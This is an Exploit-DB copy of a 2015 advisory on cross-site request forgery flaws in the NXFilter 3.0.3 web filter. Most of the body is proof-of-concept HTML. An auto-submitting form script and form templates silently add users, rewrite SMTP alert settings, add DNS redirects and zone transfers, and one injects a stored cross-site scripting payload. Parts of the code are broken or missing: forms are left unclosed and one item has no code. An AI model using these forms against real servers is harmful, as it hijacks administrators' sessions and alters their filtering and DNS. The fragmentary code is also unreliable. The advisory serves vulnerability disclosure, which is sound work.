NXFilter 3.0.3 - CSRF Vulnerabilities

ID EDB-ID:38645
Type exploitdb
Reporter hyp3rlinx
Modified 2015-11-06T00:00:00


NXFilter 3.0.3 - CSRF Vulnerabilities. Webapps exploit for jsp platform

                                            [+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/AS-NXFILTER-CSRF.txt


NXFilter v3.0.3

Vulnerability Type:
Cross site request forgery - CSRF

CVE Reference:

Vulnerability Details:
No CSRF protections exist allowing us to make malicious HTTP requests on
behalf of our victim.
The Server will then happily process any of the following actions if our
victim clicks our infected linx
or visits our malicious website while currently logged in to the vulnerable

1) "add arbitrary users"
2) "add or change SMTP settings"
3) "add arbitrary redirect domains"
4) "add arbitrary zone transfers"
5) "delete zone transfer domains"

Exploit code(s):


<body onLoad="doit()">

function doit(){
 var e=document.getElementById('HELL')

1) CSRF add arbitrary users

<form id="HELL" action="http://localhost/user,user.jsp" method="post">
<input type="text" name="action_flag" value="insert" >
<input type="text" name="name" value="punksnotdead">
<input type="text" name="description" value="<script>alert(666)</script>">
 <---- and some persistent XSS!

2) CSRF add or change SMTP notification alerts

<form id="HELL" action="http://localhost/config,alert.jsp" method="post">
<input type="text" name="action_flag" value="update" >
<input type="text" name="admin_email" value="ghostofsin@abyss.com">
<input type="text" name="smtp_host" value="">
<input type="text" name="smtp_port" value="25">
<input type="text" name="smtp_user" value="hyp3rlinx">
<input type="text" name="smtp_passwd" value="abc123">
<input type="text" name="period" value="0">
<input type="text" name="token" value="">

3) CSRF add arbitrary redirect domain

<form id="HELL" action="http://localhost/config,redirection.jsp"
<input type="text" name="action_flag" value="insert" >
<input type="text" name="src" value="hyp3rlinx.altervista.org">
<input type="text" name="dst" value="">

4) CSRF add arbitrary zone transfers

<form id="HELL" action="http://localhost/config,zone_transfer.jsp"
<input type="text" name="action_flag" value="insert" >
<input type="text" name="domain" value="hyp3rlinx.altervista.org">
<input type="text" name="ip" value="">

5) CSRF delete zone transfer domains


Disclosure Timeline:
Vendor Notification: October 18, 2015
November 5, 2015  : Public Disclosure

Exploitation Technique:

Severity Level:


Request Method(s):              [+] GET / POST

Vulnerable Product:             [+] NXFilter v3.0.3


[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author.
The author is not responsible for any misuse of the information contained
herein and prohibits any malicious use of all security related information
or exploits by the author or elsewhere.

by hyp3rlinx